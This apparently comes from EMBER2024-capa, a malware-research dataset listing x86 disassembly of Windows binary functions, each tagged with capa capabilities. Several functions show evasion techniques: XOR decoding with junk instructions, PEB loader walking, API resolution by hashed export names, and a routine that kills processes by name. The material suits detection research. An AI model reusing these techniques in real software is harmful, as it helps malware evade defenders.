joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405140
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xe0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call dbg.__wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x405304
mov edx, dword fs:[0x18]
xor eax, eax
mov edi, dword [0x4184e4]
cmp dword [edx + 0x24], edi
je 0x405227
test byte [0x40a4c4], 8
jne 0x4052b0
lea ebx, [ebp - 0xd4]
mov edi, ebx
test byte [0x40a4d4], 8
jne 0x405273
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x4051c9
cmp esi, 3
jbe 0x405232
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x4051da
mov esi, edx
mov dword [esp + 0xc], edi
shr esi, 0x10
test edx, 0x8080
mov dword [esp + 4], 1
cmove edx, esi
lea esi, [ecx + 2]
mov dword [esp], ebx
cmove ecx, esi
mov eax, edx
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xe0
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x4147c0]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.2
jmp 0x4051c9
mov dword [esp], 0x40a4d4
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x4051a0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x4051a0
mov dword [esp], 0x40a4c4
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x40518b
call dword [sym.imp.kernelbase.dll_GetTickCount]
mov edx, 0x10624dd3
lea ebx, [ebp - 0xd4]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mul edx
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x405193
mov eax, 0xffffffff
jmp 0x405227

Function at 0x4053e0
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_narrow_argv
call sym.__initialize_narrow_environment
call sym.___p___argc
mov ebx, dword [eax]
call sym.___p___argv
mov esi, dword [eax]
call sym.__get_initial_narrow_environment
mov edi, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edx, dword [eax + 8]
mov eax, dword [edx + 0x3c]
cmp word [edx + eax + 0x5c], 2
sete dl
movzx edx, dl
add edx, 1
mov dword [esp], edx
call sym.__set_app_type
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call dbg.main
mov dword [esp], eax
call sym._exit
nop
nop
nop
Function at 0x100a11da
Capabilities:
Encode data using xor

Disassembly:
call 0x100a1153
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100a1183
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x100a119f
xor edx, 0
jmp 0x100a11aa
xor edx, edx
jmp 0x100a11c1
jmp 0x100a11cd
xor eax, eax
push 0x8427d7c0
call 0x100a11da
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100a1216
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100a11ef
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100a122d
add eax, 0
jno 0x100a1232
add esi, 0
ret 0x10

Function at 0x100a1f9b
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x100a1fbd
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x100a215f
cmp edi, dword [ebp + 0x10]
jb 0x100a215f
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.100a1a87
inc edi
jmp 0x100a2046
jmp 0x100a2053
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100a1a87
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100a1a87
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x100a20a7
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x100a208b
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.100a20d5
add dword [eax], 0x39
jle 0x100a20b1
sub al, 0xf5
mov ch, al
call fcn.100a20ea
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x100a3dc2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x100a3dd8
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x100a3de9
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.100a3e2a
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x100a6196
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100a60df
add ebx, 0
push ecx
call 0x100a60f4
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x739f3384
sub ebx, dword [0x73a12bc3]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x73a12bb3
call fcn.100a1bbe
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.100a10cc
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100a6252
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100a6252
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x100a6209
mov eax, 1
lock xchg dword [0x73a12bbf], eax
push 0x3dd1fc71
call 0x100a6196
push esi
add esp, 8
cmp eax, 0
jne 0x100a617f
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x100a61a5
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100a61ba
cmp ecx, edx
cmp eax, 0
je 0x100a61df
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100a61c9
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.100a61f8
dec eax
loope 0x100a61fb
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x73a12bbf], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x100a622f
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100a6244
jmp 0x100a624f
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100a613d
Function at 0x100ad2b7
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100ad58d
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x739ff837
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x739f67fd
push 0xffffffffffffffff
call fcn.100a44b7
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100ad321
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100ad339
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100ad581
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100ad555
Function at 0x100bcd87
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100bcda9
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100bcda9
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100bcda9
ret
cmp word [ebx + 4], 0x14c
jne 0x100bcda9
test word [ebx + 0x16], 2
je 0x100bcda9
test word [ebx + 0x16], 0x100
je 0x100bcda9
cmp word [ebx + 0x18], 0x10b
jne 0x100bcda9
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100bcda9
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100bce35
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100bcdc9
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100a3d14
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100bcda9
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x100bce35
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100bcda9
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100bcda9
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100bcda9
ret
cmp word [ebx + 4], 0x14c
jne 0x100bcda9
test word [ebx + 0x16], 2
je 0x100bcda9
test word [ebx + 0x16], 0x100
je 0x100bcda9
cmp word [ebx + 0x18], 0x10b
jne 0x100bcda9
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100bcda9
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100bce35
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100bcdc9
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100a3d14
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100bcda9
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x100bceec
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100bcf45
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100bceec
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100bcefb
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104c2b9e
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100bcf4c
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100a3dc2
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100bcfeb
add edi, 4
add eax, 2
dec ecx
jne 0x100bcf31
call 0x100bcf98
loope 0x100bcf8e
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100bcfe8
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100bcff9
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100bcfac
cmp eax, ecx
ja 0x100bcfac
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100bd036
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100bd02c
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100a42a1
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100bcefb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100bcf45
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100bceec
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100bcefb
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104c2b9e
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100bcf4c
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100a3dc2
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100bcfeb
add edi, 4
add eax, 2
dec ecx
jne 0x100bcf31
call 0x100bcf98
loope 0x100bcf8e
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100bcfe8
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100bcff9
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100bcfac
cmp eax, ecx
ja 0x100bcfac
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100bd036
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100bd02c
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100a42a1
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x42a7f0
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x582ef8
push 0x4e4d20
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, 0x2a14
call fcn.0049e320
mov eax, dword [0x59bc84]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 0x2a2c], esi
test esi, esi
je 0x42a9c4
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42a846
sub ecx, edx
sar ecx, 1
cmp ecx, 0x104
ja 0x42a9c4
mov dword [ebp - 4], 0
call fcn.004298d0
mov dword [ebp - 4], 0xfffffffe
jmp 0x42a88c
push 0x800
push 0
lea eax, [ebp - 0xa24]
push eax
call fcn.004e3050
mov dword [ebp - 0x2a28], 0
push 0x2000
push 0
lea eax, [ebp - 0x2a24]
push eax
call fcn.004e3050
add esp, 0x18
lea eax, [ebp - 0x2a28]
push eax
push 0x800
lea eax, [ebp - 0x2a24]
push eax
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x42a9c4
push 0x104
push esi
lea eax, [ebp - 0x224]
push eax
call fcn.005115ca
lea eax, [ebp - 0x224]
push eax
call fcn.0050037e
add esp, 0x10
xor edi, edi
cmp dword [ebp - 0x2a28], edi
jbe 0x42a9c4
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x400
lea eax, [ebp - 0xa24]
push eax
push dword [ebp + edi*4 - 0x2a24]
call fcn.0042a080
add esp, 0xc
test eax, eax
je 0x42a9b7
lea eax, [ebp - 0xa24]
push eax
call fcn.0050037e
add esp, 4
lea ecx, [ebp - 0xa24]
lea eax, [ebp - 0x224]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x42a978
test dx, dx
je 0x42a974
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x42a978
add eax, 4
add ecx, 4
test dx, dx
jne 0x42a952
xor eax, eax
jmp 0x42a97d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x42a9b7
push dword [ebp + edi*4 - 0x2a24]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x42a9a3
push 0
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0xa24]
push eax
push str.Kill_process:__s
call fcn.0044d190
add esp, 8
inc edi
cmp edi, dword [ebp - 0x2a28]
jb 0x42a914
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0049dec8
mov esp, ebp
pop ebp
ret 4
Function at 0x42a9f0
Capabilities:
Check if file exists
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x582f38
push 0x4e4d20
mov eax, dword fs:[0]
push eax
sub esp, 0x848
mov eax, dword [0x59bc84]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 0x1c]
mov dword [ebp - 4], 0
test esi, esi
je 0x42ab64
cmp word [esi], 0
je 0x42ab64
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42aa50
sub ecx, edx
sar ecx, 1
cmp ecx, 0x104
ja 0x42ab64
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x42ab64
push 0x800
push 0
lea eax, [ebp - 0x81c]
push eax
call fcn.004e3050
push esi
push 0x554930
push 0x3ff
lea eax, [ebp - 0x81c]
push eax
call fcn.00410030
push 0x3c
push 0
lea eax, [ebp - 0x858]
push eax
call fcn.004e3050
add esp, 0x28
mov dword [ebp - 0x858], 0x3c
lea eax, [ebp - 0x81c]
mov dword [ebp - 0x848], eax
mov dword [ebp - 0x84c], 0x55493c
mov dword [ebp - 0x844], ebx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x83c], eax
mov dword [ebp - 0x854], 0x440
cmp dword [ebp + 0x14], 0
je 0x42ab03
push esi
call fcn.00497be0
add esp, 4
test eax, eax
je 0x42ab64
lea eax, [ebp - 0x858]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov esi, eax
test esi, esi
je 0x42ab2b
cmp dword [ebp + 0x18], 0
je 0x42ab2b
push dword [ebp + 0x20]
push dword [ebp - 0x820]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test edi, edi
je 0x42ab40
test esi, esi
je 0x42ab50
push edi
push dword [ebp - 0x820]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test esi, esi
je 0x42ab50
push dword [ebp - 0x820]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x42ab6d
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0049dec8
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x42ab90
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x42abac
pop edi
pop ebp
ret 4
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
pop ebp
ret 4
Function at 0x449f30
Capabilities:
Create process on windows

Disassembly:
push 1
push 0
push 0
push 4
push 0x558b00
push 0
call fcn.0045fe10
cmp eax, 6
jne 0x449f61
push 1
push 0
push 0
push str.https:__cdn_file_ssl_pc.ludashi.com_pc_appstore_ludashi_ludashisetup2020.exe
push 0x55493c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
ret

Function at 0x44a660
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53db46
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x59bc84]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x418], 0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0x60
push 0
push edi
mov byte [ebp - 4], 1
call ebx
mov esi, eax
mov dword [ebp - 0x424], esi
test esi, esi
jne 0x44a70c
push 2
push eax
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x424], eax
test esi, esi
jne 0x44a70c
call fcn.004369c0
mov edi, eax
jmp 0x44a82b
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x44a72f
call fcn.004369c0
jmp 0x44a81e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
test ebx, ebx
jne 0x44a74d
call fcn.004369c0
jmp 0x44a81e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x41c], edi
lea eax, [edi + 1]
cmp eax, edi
jae 0x44a76e
mov edi, 0x8007000e
jmp 0x44a820
mov ecx, 2
mov byte [ebp - 4], 2
mul ecx
test edx, edx
ja 0x44a864
jb 0x44a78c
cmp eax, 0xffffffff
ja 0x44a864
cmp eax, 0x400
jbe 0x44a7a1
push eax
lea ecx, [ebp - 0x418]
call fcn.00446bb0
jmp 0x44a7c7
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
jmp 0x44a7c7
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
jne 0x44a7de
mov edi, 0x8007000e
jmp 0x44a820
push edi
push dword [ebp - 0x418]
push edi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x44a7fe
call fcn.004369c0
jmp 0x44a81e
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.0044a4c0
mov edi, eax
test esi, esi
je 0x44a82b
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x44a844
lea ecx, [ebp - 0x418]
call fcn.004485e0
mov eax, edi
mov ecx, dword [ebp - 0xc]
